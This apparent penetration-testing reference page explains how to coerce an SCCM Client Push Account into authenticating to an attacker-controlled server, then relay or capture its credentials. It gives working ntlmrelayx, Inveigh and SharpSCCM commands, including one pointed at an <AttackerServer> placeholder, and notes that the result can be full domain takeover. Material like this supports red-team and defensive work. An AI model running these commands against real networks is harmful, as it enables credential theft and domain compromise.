Client Push Authentication Coercion
Coercing the Client Push Account to authenticate, then relaying or capturing it
Theory
Where SCCM deploys clients via Client Push Installation, the "Client Push Account" authenticates to every machine it installs on. That account usually holds local administrator rights across many assets, so coercing it and relaying or capturing the authentication escalates directly.
Practice
In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.
The client push installation can be triggered forcefully or - if you're lucky - your compromised machine might not have the SCCM client installed, which mean you could capture the client push installation as it occurs.
Option 1: Forcefully "coerce" the Client Push Installation
Important note: You want to read this blog post before you continue this route, as this attack might leave traces behind and might junk up the SCCM environment.
Step 1: Prepare coercion receiver
Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).
# On Linux
### Relay using ntlmrelayx.py
ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179# On Windows
### Credential capture using Inveigh
Inveigh.exeStep 2: Trigger Client-Push Installation
# If admin access over Management Point (MP)
SharpSCCM.exe invoke client-push -t <AttackerServer> --as-admin
# If not MP admin
SharpSCCM.exe invoke client-push -t <AttackerServer>Step 3: Cleanup
If you run the above SharpSCCM command with the --as-admin parameter (cause you have admin privileges over the MP), there's nothing to do. Otherwise get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t <AttackerServer> parameter. This is the device name that will appear in SCCM.